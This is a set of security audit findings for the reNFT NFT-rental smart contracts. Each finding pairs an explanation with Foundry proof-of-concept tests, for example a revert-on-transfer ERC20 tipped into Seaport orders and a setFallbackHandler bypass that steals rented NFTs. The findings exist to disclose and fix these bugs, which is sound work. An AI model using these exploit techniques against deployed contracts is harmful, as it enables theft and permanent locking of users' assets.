reNFT - EV_om's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L733

Vulnerability details

Impact

The Create contract is responsible for creating a rental. It achieves this by acting as a Seaport Zone, and storing and validating orders as rentals when they are fulfilled on Seaport.

However, one thing it doesn't account for is the fact that Seaport allows for "tipping" in the form of ERC20 tokens as part of the order fulfillment process. This is done by extending the consideration array in the order with additional ERC20 tokens.

From the Seaport docs (emphasis mine):

The consideration contains an array of items that must be received in order to fulfill the order. It contains all of the same components as an offered item, and additionally includes a recipient that will receive each item. This array may be extended by the fulfiller on order fulfillment so as to support "tipping" (e.g. relayer or referral payments).

This other passage, while discussing a different issue, even highlights the root cause of this vulnerability (the zone does not properly allocate consideration extensions):

As extensions to the consideration array on fulfillment (i.e. "tipping") can be arbitrarily set by the caller, fulfillments where all matched orders have already been signed for or validated can be frontrun on submission, with the frontrunner modifying any tips. Therefore, it is important that orders fulfilled in this manner either leverage "restricted" order types with a zone that enforces appropriate allocation of consideration extensions, or that each offer item is fully spent and each consideration item is appropriately declared on order creation.

Let's dive in and see how tipping works exactly. We know fulfillers may use the entry points listed here, the first of which is simply a wrapper to _validateAndFulfillAdvancedOrder(). This function calls _validateOrderAndUpdateStatus() , which derives the order hash by calling _assertConsiderationLengthAndGetOrderHash(). At the end of the trail, we can see that the order hash is finally derived in _deriveOrderHash() from other order parameters as well as the consideration array, but only up to the totalOriginalConsiderationItems value in the parameters of the AdvancedOrder passed by the fulfiller as argument. This value reflects the original length of the consideration items in the order. https://github.com/ProjectOpenSea/seaport-types/blob/25bae8ddfa8709e5c51ab429fe06024e46a18f15/src/lib/ConsiderationStructs.sol#L143-L156

struct OrderParameters {
    address offerer; // 0x00
    address zone; // 0x20
    OfferItem[] offer; // 0x40
    ConsiderationItem[] consideration; // 0x60
    OrderType orderType; // 0x80
    uint256 startTime; // 0xa0
    uint256 endTime; // 0xc0
    bytes32 zoneHash; // 0xe0
    uint256 salt; // 0x100
    bytes32 conduitKey; // 0x120
    uint256 totalOriginalConsiderationItems; // 0x140
    // offer.length                          // 0x160
}

Thus we can see that when deriving the order hash the extra consideration items are ignored, which is what allows the original signature of the offerer to match. However, in the ZoneParameters passed on to the zone, all consideration items are included in one array, and there is no obvious way to distinguish tips from original items:

struct ZoneParameters {
    bytes32 orderHash;
    address fulfiller;
    address offerer;
    SpentItem[] offer;
    ReceivedItem[] consideration;
    // the next struct member is only available in the project's fork
    ReceivedItem[] totalExecutions;
    bytes extraData;
    bytes32[] orderHashes;
    uint256 startTime;
    uint256 endTime;
    bytes32 zoneHash;
}

Finally, while the validateOrder() function in the Create contract verifies that the order fulfillment has been signed by the reNFT signer, the signed RentPayload does not depend on the consideration items, hence tipping is still possible.

The vulnerability arises when this capability is exploited to add a malicious ERC20 token to the consideration array. This malicious token can be designed to revert on transfer, causing the rental stop process to fail. As a result, the rented assets remain locked in the rental safe indefinitely.

Proof of Concept

We can validate the vulnerability through an additional test case for the Rent.t.sol test file. This test case will simulate the exploit scenario and confirm the issue by performing the following actions:

1. Create a BASE order with Alice as the offerer.
2. Finalize the order creation.
3. Create an order fulfillment with Bob as the fulfiller.
4. Append a malicious ERC20 token to the consideration array of the order.
5. Finalize the order fulfillment.
6. Attempt to stop the rent, which will fail due to the revert on transfer from the escrow.

A simple exploit contract could look as follows:

pragma solidity ^0.8.20;

import {ERC20} from "@openzeppelin-contracts/token/ERC20/ERC20.sol";

// This mock ERC20 will always revert on `transfer`
contract MockRevertOnTransferERC20 is ERC20 {
    constructor() ERC20("MockAlwaysRevertERC20", "M_AR_ERC20") {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function burn(address to, uint256 amount) public {
        _burn(to, amount);
    }

    function transfer(address, uint256) public pure override returns (bool) {
        require(false, "transfer() revert");
        return false;
    }
}

And the test:

import {
    Order,
    OrderParameters,
    ConsiderationItem,
    ItemType,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";
import {MockRevertOnTransferERC20} from "@test/mocks/tokens/weird/MockRevertOnTransferERC20.sol";

    function test_Vuln_OrderHijackingByTippingMaliciousERC20() public {
        // create a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });
        // ------- Identical to existing "test_Success_Rent_BaseOrder_ERC721" until here -------
        
        MockRevertOnTransferERC20 exploitErc20 = new MockRevertOnTransferERC20();
        // Seaport enforces non-zero quantities + approvals
        exploitErc20.mint(bob.addr, 100);
        vm.prank(bob.addr);
        exploitErc20.approve(address(conduit), type(uint256).max);

        // we acccess baseOrder.advancedOrder and add a consideration item
        OrderParameters storage params = ordersToFulfill[0].advancedOrder.parameters;
        params.consideration.push(ConsiderationItem({
            itemType: ItemType.ERC20,
            token: address(exploitErc20),
            identifierOrCriteria: 0,
            startAmount: 100,
            endAmount: 100,
            recipient: payable(address(ESCRW))
        }));

        // finalize the base order fulfillment
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // rental cannot be stopped since transfer from escrow will always revert
        vm.prank(bob.addr);
        vm.expectRevert(
            abi.encodeWithSelector(
                Errors.PaymentEscrowModule_PaymentTransferFailed.selector,
                exploitErc20,
                alice.addr,
                100
            )
        );
        stop.stopRent(rentalOrder);
    }

To run the exploit test:

• Save the exploit contract as test/mocks/tokens/weird/MockRevertOnTransferERC20.sol.
• Add the test to the Rent.t.sol test file and run it using the command forge test --mt test_Vuln_OrderHijackingByTippingMaliciousERC20. This will run the test above, which should demonstrate the exploit by successfully appending a malicious ERC20 to an existing order and starting a rental that cannot be stopped.

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Disallow tipping, either by removing this functionality in the Seaport fork or, if this isn't possible, perhaps by adding the size of the consideration items to the ZoneParameters and reverting if there are more. This would prevent the addition of malicious ERC20 tokens to the consideration array, thereby preventing the hijacking of orders and the indefinite locking of rented assets in the rental safe.

Assessed type

call/delegatecall

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L203-L291 https://github.com/safe-global/safe-contracts/blob/47a3620ed937c780d26ff218b76edaaef658f7e2/contracts/Safe.sol#L41 https://github.com/safe-global/safe-contracts/blob/47a3620ed937c780d26ff218b76edaaef658f7e2/contracts/base/FallbackManager.sol#L50-L81

Vulnerability details

Impact

The Guard policy acts as a Gnosis Safe guard designed to protect rented assets from unauthorized transfers. It does this by checking the target and function selector of each transaction initiated by a rental safe and reverting transactions that could potentially lead to unauthorized transfers.

However, there is a vulnerability in the Guard contract that allows an attacker to bypass these checks and transfer rented NFTs to any address. This is possible because the Guard contract does not block the setFallbackHandler() function of the Gnosis Safe: https://github.com/safe-global/safe-contracts/blob/47a3620ed937c780d26ff218b76edaaef658f7e2/contracts/base/FallbackManager.sol#L50-L53

function setFallbackHandler(address handler) public authorized {
	internalSetFallbackHandler(handler);
	emit ChangedFallbackHandler(handler);
}

The setFallbackHandler() function allows the owner of a Gnosis Safe to specify a contract that will receive all calls that do not match any function in the Safe contract. If an attacker sets the fallback handler of a rental safe to the contract of a rented ERC721 or ERC1155, they can then call any function of the token contract directly through the fallback function. The Guard contract will not block this transaction because the call is forwarded directly to the fallback handler: https://github.com/safe-global/safe-contracts/blob/47a3620ed937c780d26ff218b76edaaef658f7e2/contracts/base/FallbackManager.sol#L61-L81

fallback() external {
	bytes32 slot = FALLBACK_HANDLER_STORAGE_SLOT;
	// solhint-disable-next-line no-inline-assembly
	assembly {
		let handler := sload(slot)
		if iszero(handler) {
			return(0, 0)
		}
		calldatacopy(0, 0, calldatasize())
		// The msg.sender address is shifted to the left by 12 bytes to remove the padding
		// Then the address without padding is stored right after the calldata
		mstore(calldatasize(), shl(96, caller()))
		// Add 20 bytes for the address appended add the end
		let success := call(gas(), handler, 0, 0, add(calldatasize(), 20), 0, 0)
		returndatacopy(0, 0, returndatasize())
		if iszero(success) {
			revert(0, returndatasize())
		}
		return(0, returndatasize())
	}
}

This vulnerability allows an attacker to transfer rented NFTs to any address, effectively stealing the token from the rental safe.

Proof of Concept

We can validate the vulnerability through an additional test case for the CheckTransaction.t.sol test file. This test case will simulate the exploit scenario and confirm the issue by performing the following actions:

1. Mark a rental as active on an ERC-721 token.
2. Attempt to call approve from the rental safe and verify the call is blocked by the guard.
3. Verify that the approval target cannot transfer the NFT from the safe.
4. Execute a call to setFallbackHandler() from the safe and set the token contract as the fallback handler.
5. Send the approve calldata directly to the safe, which will forward the call to the token.
6. Transfer the rented ERC721 out of the safe as the approval target.

import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";

    function test_Vuln_Bypass_CheckTransaction_ERC721_Approve() public {
        // Create a rentalId array
        RentalAssetUpdate[] memory rentalAssets = new RentalAssetUpdate[](1);
        rentalAssets[0] = RentalAssetUpdate(
            RentalUtils.getItemPointer(address(alice.safe), address(erc721s[0]), 0),
            1
        );

        // Mark the rental as actively rented in storage
        _markRentalsAsActive(rentalAssets);

        // Build up the `approve(address,uint256)` calldata
        bytes memory approveCalldata = abi.encodeWithSelector(
            e721_approve_selector,
            bob.addr,
            0
        );
        // ------- Identical to existing "test_Reverts_CheckTransaction_ERC721_Approve" until here -------
 
        address safe = address(alice.safe);
        address token = address(erc721s[0]);
        // Mint token with id 0 to safe
        // At this point it's marked as rented but doesn't exist yet
        erc721s[0].mint(safe);

        // Attempt to call approve via normal means
        bytes memory transactionSignature = SafeUtils.signTransaction(
            safe,
            alice.privateKey,
            token,
            approveCalldata
        );

        // Verify that transaction is blocked by guard
        vm.expectRevert(
            abi.encodeWithSelector(
                Errors.GuardPolicy_UnauthorizedSelector.selector,
                e721_approve_selector
            )
        );
        SafeUtils.executeTransaction(
            safe,
            token,
            approveCalldata,
            transactionSignature
        );

        // Verify that Bob cannot transfer the token
        vm.prank(bob.addr);
        vm.expectRevert();
        erc721s[0].transferFrom(safe, bob.addr, 0);

        // Build exploit calldata - sets token to callback handler
        bytes memory setFallbackHandlerCalldata = abi.encodeWithSelector(
            alice.safe.setFallbackHandler.selector,
            address(token)
        );

        // Sign and execute safe transaction
        transactionSignature = SafeUtils.signTransaction(
            safe,
            alice.privateKey,
            safe,
            setFallbackHandlerCalldata
        );
        SafeUtils.executeTransaction(
            safe,
            safe,
            setFallbackHandlerCalldata,
            transactionSignature
        );

        // Send approveCalldata directly to safe - this will forward the call to token
        // The EVM will ignore the extra data appended in the fallback function
        (bool success,) = safe.call(approveCalldata);
        require(success, "Execution reverted");

        // Bob can steal the rented ERC721 from Alice's safe
        vm.prank(bob.addr);
        erc721s[0].transferFrom(safe, bob.addr, 0);
    }

To run the exploit test:

• Add the test to the CheckTransaction.t.sol file and run it using the command forge test --mt test_Vuln_Bypass_CheckTransaction_ERC721_Approve. This will run the test above, which should demonstrate the exploit by successfully transferring the rented NFT out of the safe.

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

To mitigate this vulnerability, the Guard contract should also block the setFallbackHandler() function of the Gnosis Safe contract. This can be done by adding a check for the setFallbackHandler() function selector in the checkTransaction() function of the Guard contract and reverting the transaction if the function selector matches. This will prevent an attacker from setting the fallback handler of a rental safe to an ERC721 token contract and calling the approve() function through the fallback function.

Assessed type

call/delegatecall

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/libraries/RentalConstants.sol#L62 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L255-L267

Vulnerability details

Impact

The Guard.sol contract in the reNFT protocol is responsible for checking transactions initiated by a rental safe to decide whether they can be allowed or not. One of the functionalities it does allow is the ability to enable and disable whitelisted modules in the safe. From the sponsor:

the idea is that later on we will work with protocols that want to have a better integration with our rental safes. By using whitelisted modules, we could implement custom functionality for that protocol which our users could opt into.

However, there is a critical issue in the way the Guard.sol contract handles the disabling of modules. The disableModule(address prevModule, address module) function in a Gnosis Safe is used to disable a module, where prevModule is the previous module in the linked list of modules, and module is the module to be disabled: https://github.com/safe-global/safe-contracts/blob/47a3620ed937c780d26ff218b76edaaef658f7e2/contracts/base/ModuleManager.sol#L63-L70

    function disableModule(address prevModule, address module) public authorized {
        // Validate module address and check that it corresponds to module index.
        require(module != address(0) && module != SENTINEL_MODULES, "GS101");
        require(modules[prevModule] == module, "GS103");
        modules[prevModule] = modules[module];
        modules[module] = address(0);
        emit DisabledModule(module);
    }

The issue is that in the RentalConstants contract, the gnosis_safe_disable_module_offset is set to 0x24, which means the prevModule parameter will be extracted and checked against the whitelist: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/libraries/RentalConstants.sol#L62

uint256 constant gnosis_safe_disable_module_offset = 0x24;

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L255-L267

	} else if (selector == gnosis_safe_disable_module_selector) {
		// Load the extension address from calldata.
		address extension = address(
			uint160(
				uint256(
					_loadValueFromCalldata(data, gnosis_safe_disable_module_offset)
				)
			)
		);

		// Check if the extension is whitelisted.
		_revertNonWhitelistedExtension(extension);

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L108-L117

    function _loadValueFromCalldata(
        bytes memory data,
        uint256 offset
    ) private pure returns (bytes32 value) {
        // Load the `uint256` from calldata at the offset.
        assembly {
            value := mload(add(data, offset))
        }
    }

This means that the renter will not be able to disable the last module they added, but more importantly, they will be able to remove the Stop contract as a module, which is added on safe creation. The Stop contract is responsible for retrieving rented assets from a wallet contract once a rental has been stopped, and transferring them to the proper recipient. If it is removed from the safe modules, all rented assets will be locked in the safe.

Proof of Concept

We can validate the vulnerability through an additional test case for the StopRent.t.sol test file. This test case will simulate the exploit scenario and confirm the issue by performing the following actions:

1. Create and finalize a BASE order with Alice as the offerer.
2. Create and finalize an order fulfillment with Bob as the fulfiller.
3. Whitelist a new address to be added as a module by rental safes.
4. Enable the new module on Bob's safe.
5. Disable the Reclaimer module by calling disableModule(prevModule, module).
6. Attempt to stop the rental, which should fail because the Stop contract isn't a module anymore.

import {
    gnosis_safe_enable_module_selector,
    gnosis_safe_disable_module_selector
} from "@src/libraries/RentalConstants.sol";
import {MockTarget} from "@test/mocks/MockTarget.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";

    function test_Vuln_CanRemoveReclaimModule() public {
        // create a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // finalize the base order fulfillment
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

        // ------- Identical to existing "test_StopRent_BaseOrder" until here -------
 
        address safe = address(bob.safe);
        MockTarget mockTarget = new MockTarget();

        // impersonate the admin policy admin
        vm.prank(deployer.addr);
        // enable this address to be added as a module by rental safes
        admin.toggleWhitelistExtension(address(mockTarget), true);

        // Enable the module on Bob's safe
        bytes memory enableModuleCalldata = abi.encodeWithSelector(
            gnosis_safe_enable_module_selector,
            address(mockTarget)
        );
        bytes memory transactionSignature = SafeUtils.signTransaction(
            safe,
            bob.privateKey,
            safe,
            enableModuleCalldata
        );
        SafeUtils.executeTransaction(
            safe,
            safe,
            enableModuleCalldata,
            transactionSignature
        );

        // Disable Reclaimer module by calling disableModule(prevModule, module)
        // Since modules are stored as a reversed linked list, prevModule is the next added module
        // i.e. our whitelisted module and the call passes
        bytes memory disableModuleCalldata = abi.encodeWithSelector(
            gnosis_safe_disable_module_selector,
            address(mockTarget),
            stop
        );
        transactionSignature = SafeUtils.signTransaction(
            safe,
            bob.privateKey,
            safe,
            disableModuleCalldata
        );
        SafeUtils.executeTransaction(
            safe,
            safe,
            disableModuleCalldata,
            transactionSignature
        );

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // Verify that we can't stop the rental since the Stop contract isn't a module anymore
        vm.prank(alice.addr);
        // - `GS104`: `Method can only be called from an enabled module`
        vm.expectRevert("GS104");
        stop.stopRent(rentalOrder);
    }

To run the exploit test:

• Add the test to the StopRent.t.sol file and run it using the command forge test --mt test_Vuln_CanRemoveReclaimModule. This will run the test above, which should demonstrate the exploit by showing that the rental cannot be stopped due to the Stop contract no longer being a module.

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

The recommended mitigation step is to correctly parse the module argument from the calldata in the disableModule function. This will ensure that only the intended module is disabled, and not the Reclaimer module. Additionally, consider adding checks to prevent the disabling of critical modules like the Reclaimer module.

Assessed type

Access Control

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L209-L212

Vulnerability details

Impact

The reNFT protocol uses hooks, which can act as middleware to a target contract or execute during rental start or stop. The updateHookStatus() function in the Storage module allows the admin to set the permissions of a hook using a bitmap consisting of 3 bits, which represent whether the onTransaction(), onStart() and onStop() functions are whitelisted for a given module, respectively: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/Storage.sol#L313-L326

function updateHookStatus(
	address hook,
	uint8 bitmap
) external onlyByProxy permissioned {
	// Require that the `hook` address is a contract.
	if (hook.code.length == 0) revert Errors.StorageModule_NotContract(hook);

	// 7 is 0x00000111. This ensures that only a valid bitmap can be set.
	if (bitmap > uint8(7))
		revert Errors.StorageModule_InvalidHookStatusBitmap(bitmap);

	// Update the status of the hook.
	hookStatus[hook] = bitmap;
}

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/Storage.sol#L144-L172

/**
 * @notice Determines whether the `onTransaction()` function is enabled for the hook.
 *
 * @param hook Address of the hook contract.
 */
function hookOnTransaction(address hook) external view returns (bool) {
	// 1 is 0x00000001. Determines if the masked bit is enabled.
	return (uint8(1) & hookStatus[hook]) != 0;
}

/**
 * @notice Determines whether the `onStart()` function is enabled for the hook.
 *
 * @param hook Address of the hook contract.
 */
function hookOnStart(address hook) external view returns (bool) {
	// 2 is 0x00000010. Determines if the masked bit is enabled.
	return uint8(2) & hookStatus[hook] != 0;
}

/**
 * @notice Determines whether the `onStop()` function is enabled for the hook.
 *
 * @param hook Address of the hook contract.
 */
function hookOnStop(address hook) external view returns (bool) {
	// 4 is 0x00000100. Determines if the masked bit is enabled.
	return uint8(4) & hookStatus[hook] != 0;
}

However, disabling a hook for onStop() will prevent any ongoing rentals in which the hook is enabled from being closed. This is because the _removeHooks() function, which is called form stopRent() and stopRentBatch() on rental termination, will revert if any of the hooks in the order is not currently whitelisted for onStop(): https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L209-L212

	// Check that the hook is reNFT-approved to execute on rental stop.
	if (!STORE.hookOnStop(target)) {
		revert Errors.Shared_DisabledHook(target);
	}

This could effectively make it impossible for the protocol admin to remove hooks from the onStop() whitelist without harming users, as there may always be an ongoing rental which uses a given hook. This impacts the functioning of the protocol and is hence classified as medium severity.

Proof of Concept

We can validate the issue through an additional test case for the ERC20RewardHook.t.sol test file, which will perform the following actions:

1. Start a rental with a hook enabled for onStart and onStop calls.
2. Speed up time past the rental expiration.
3. Remove the hook from the whitelist.
4. Attempt to stop the rental, which should fail and revert with a Shared_DisabledHook error.

The following test case follows the steps outlined above:

import {Errors} from "@src/libraries/Errors.sol";

    function test_Vuln_RemoveFromWhitelistDuringRental() public {
        // start the rental. This should activate the hook and begin
        // accruing rewards while the rental is active.
        RentalOrder memory rentalOrder = _startRentalWithGameToken();

        // roll ahead by 100 blocks so that rewards can accrue
        vm.roll(block.number + 100);

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // remove hook from whitelist
        vm.prank(deployer.addr);
        guard.updateHookStatus(address(hook), uint8(0));

        // rental cannot be stopped
        vm.prank(alice.addr);
        vm.expectRevert(
            abi.encodeWithSelector(
                Errors.Shared_DisabledHook.selector,
                address(hook)
            )
        );
        stop.stopRent(rentalOrder);
    }

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

A potential solution could be to ignore non-whitelisted hooks or even better, check if both onStart() and onStop() hooks are whitelisted when a rental is started instead of when they are called. This would ensure that once a rental has started, it can be stopped regardless of any changes to the hook whitelist.

Assessed type

Other

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L480-L482 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L209-L212

Vulnerability details

Impact

The reNFT protocol uses hooks, which can act as middleware to a target contract or execute during rental start or stop. The updateHookStatus() function in the Storage module allows the admin to set the permissions of a hook using a bitmap consisting of 3 bits, which represent whether the onTransaction(), onStart() and onStop() functions are whitelisted for a given module, respectively: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/Storage.sol#L313-L326

function updateHookStatus(
	address hook,
	uint8 bitmap
) external onlyByProxy permissioned {
	// Require that the `hook` address is a contract.
	if (hook.code.length == 0) revert Errors.StorageModule_NotContract(hook);

	// 7 is 0x00000111. This ensures that only a valid bitmap can be set.
	if (bitmap > uint8(7))
		revert Errors.StorageModule_InvalidHookStatusBitmap(bitmap);

	// Update the status of the hook.
	hookStatus[hook] = bitmap;
}

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/Storage.sol#L144-L172

/**
 * @notice Determines whether the `onTransaction()` function is enabled for the hook.
 *
 * @param hook Address of the hook contract.
 */
function hookOnTransaction(address hook) external view returns (bool) {
	// 1 is 0x00000001. Determines if the masked bit is enabled.
	return (uint8(1) & hookStatus[hook]) != 0;
}

/**
 * @notice Determines whether the `onStart()` function is enabled for the hook.
 *
 * @param hook Address of the hook contract.
 */
function hookOnStart(address hook) external view returns (bool) {
	// 2 is 0x00000010. Determines if the masked bit is enabled.
	return uint8(2) & hookStatus[hook] != 0;
}

/**
 * @notice Determines whether the `onStop()` function is enabled for the hook.
 *
 * @param hook Address of the hook contract.
 */
function hookOnStop(address hook) external view returns (bool) {
	// 4 is 0x00000100. Determines if the masked bit is enabled.
	return uint8(4) & hookStatus[hook] != 0;
}

However, the current implementation requires hook to always succeed on both onStart() and onStop() calls if they are provided in an order. This means if a hook is only whitelisted for onStop(), it will not be possible to create rentals using it as the addHooks() function, called during the creation of a rental, will revert: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L480-L482

	// Check that the hook is reNFT-approved to execute on rental start.
	if (!STORE.hookOnStart(target)) {
		revert Errors.Shared_DisabledHook(target);
	}

Conversely, if a hook is provided for onStart() but isn't whitelisted for onStop(), it will prevent the rental from being stopped. This is because the _removeHooks() function, which is called form stopRent() and stopRentBatch() on rental termination, will revert if any of the hooks in the order is not whitelisted for onStop(): https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L209-L212

	// Check that the hook is reNFT-approved to execute on rental stop.
	if (!STORE.hookOnStop(target)) {
		revert Errors.Shared_DisabledHook(target);
	}

This could lead to a situation where a rental cannot be stopped because a hook used in the onStart() phase is not whitelisted for onStop(), which would lock assets in the safe and prevent users from reclaiming their assets.

Proof of Concept

We can validate the issue through an additional test case for the WhitelistedFulfillment.t.sol test file, which will perform the following actions:

1. Create a BASE order where a lender offers an ERC1155 in exchange for some ERC20 tokens.
2. Define a whitelist and a hook for the rental. The hook is enabled for onStart() calls only.
3. Fulfill the order, which executes the token swap and starts the rental.
4. Speed up time past the rental expiration.
5. Attempt to stop the rental. Since the hook is not whitelisted for onStop(), the stopRent() function should revert with an error, confirming the issue.

The following test case follows the steps outlined above:

function test_Vuln_OnStartHookPreventsRentalFromBeingStopped() public {
	// create a BASE order where a lender offers an ERC1155 in
	// exchange for some erc20 tokens
	createOrder({
		offerer: alice,
		orderType: OrderType.BASE,
		erc721Offers: 0,
		erc1155Offers: 1,
		erc20Offers: 0,
		erc721Considerations: 0,
		erc1155Considerations: 0,
		erc20Considerations: 1
	});

	// define the whitelist
	address[] memory whitelist = new address[](2);
	whitelist[0] = address(bob.safe);
	whitelist[1] = address(carol.safe);

	// define the hook for the rental
	Hook[] memory hooks = new Hook[](1);
	hooks[0] = Hook({
		// the hook contract to target
		target: address(hook),
		// index of the item in the order to apply the hook to
		itemIndex: 0,
		// any extra data that the hook will need.
		extraData: abi.encode(whitelist)
	});

	// use an amendment to add hooks
	withHooks(hooks);

	// finalize the order creation
	(
		Order memory order,
		bytes32 orderHash,
		OrderMetadata memory metadata
	) = finalizeOrder();

	// create an order fulfillment
	createOrderFulfillment({
		_fulfiller: bob,
		order: order,
		orderHash: orderHash,
		metadata: metadata
	});

	// finalize the base order fulfillment. This executes the token swap
	// and starts the rental.
	// ------- Identical to existing "test_Success_RenterIsWhitelisted" until here -------
	RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

	// default rent duration is 500
	// speed up in time past the rental expiration
	vm.warp(block.timestamp + 750);

	// Alice cannot stop the rental as the hook is enabled for `onStart` calls only,
	// but it is always required to also succeed on `onStop`
	vm.prank(alice.addr);
	vm.expectRevert(
		abi.encodeWithSelector(
			Errors.Shared_DisabledHook.selector,
			address(hook)
		)
	);
	stop.stopRent(rentalOrder);
}

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

A potential solution to this issue could be to modify the _addHooks() and _removeHooks() functions to ignore hooks that aren't whitelisted, instead of reverting. This would allow rentals to be created and stopped even if a hook is not whitelisted for both phases.

Assessed type

Other

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L203-L291

Vulnerability details

Impact

The Guard policy acts as a Gnosis Safe guard designed to protect rented assets from unauthorized transfers. It does this by checking the target and function selector of each transaction initiated by a rental safe and reverting transactions that could potentially lead to unauthorized transfers. However, the current implementation of the Guard.sol contract does not protect against the burning of ERC721Burnable and ERC1155Burnable tokens.

ERC721Burnable and ERC1155Burnable are widely adopted standards that define a burn(tokenId) and burn(account, id, value)/burnBatch(account, ids, values) functions, respectively. If a lender rents out an NFT from a collection that implements one of these standards, the renter will be able to burn the lender's token.

Here are a few examples of collections with large market capitalization that implement one of these standards:

• TinFun 0xa177dbcca6b180fb80336e062ab4dc8cd7e53693
• PudgyPenguins 0xBd3531dA5CF5857e7CfAA92426877b022e612cf8
• OVERWORLD INCARNA 0xfdf5acd92840e796955736b1bb9cc832740744ba
• LilPudgys 0x524cab2ec69124574082676e6f654a18df49a048

Given the prevalence of these standards and the ease with which this issue can be exploited, it is classified as high severity.

Proof of Concept

Consider the following scenario:

1. Alice owns an NFT from the TinFun collection and decides to rent it out using the reNFT protocol.
2. Bob rents Alice's NFT.
3. Bob calls the burn(tokenId) function of the TinFun contract, passing in the ID of Alice's NFT.
4. The Guard.sol contract does not prevent this action, and Alice's NFT is burned.

Tools Used

Manual review

Recommended Mitigation Steps

To mitigate this issue, the Guard.sol contract should be updated to block the burn() and burnBatch() functions of ERC721Burnable and ERC1155Burnable tokens. This could be achieved by adding additional checks in the _checkTransaction() function.

However, it is also worth pointing out that some tokens might implement non-standard transfer or approval granting functions, which also wouldn't be blocked by the guard. Since users may not be aware of the existence of these functions, it is likely that this will lead to loss of funds sooner or later.

Another potential solution which may mitigate this issue altogether would be to implement a checkAfterExecution() function that checks after each transaction if the assets are still in the safe. However, this introduces some complexity as the assets still need to be transferred out of the safe when the rental stops and it should be carefully implemented to ensure no new issues are introduced.

Assessed type

ERC721

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L231-L238

Vulnerability details

Impact

According to the EIP-712 specification, structs are encoded by taking the hash of the concatenation of their type hash and the encoding of each of their fields. However, the _deriveOrderMetadataHash() function in the Signer contract is incorrect in that it omits one of the struct's fields, emittedExtraData, when computing the hash of the OrderMetadata struct.

Proof of Concept

The OrderMetadata struct is defined as follows:

struct OrderMetadata {
    OrderType orderType;
    uint256 rentDuration;
    Hook[] hooks;
    bytes emittedExtraData;
}

But the _deriveOrderMetadataHash() returns: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L232-L238

	keccak256(
		abi.encode(
			_ORDER_METADATA_TYPEHASH,
			metadata.rentDuration,
			keccak256(abi.encodePacked(hookHashes))
		)
	);

The emittedExtraData field is left out when computing the hash of the OrderMetadata. This breaks EIP-712 compliance, so can be seen as an instance of “function of the protocol or its availability could be impacted” and is hence classified as medium severity.

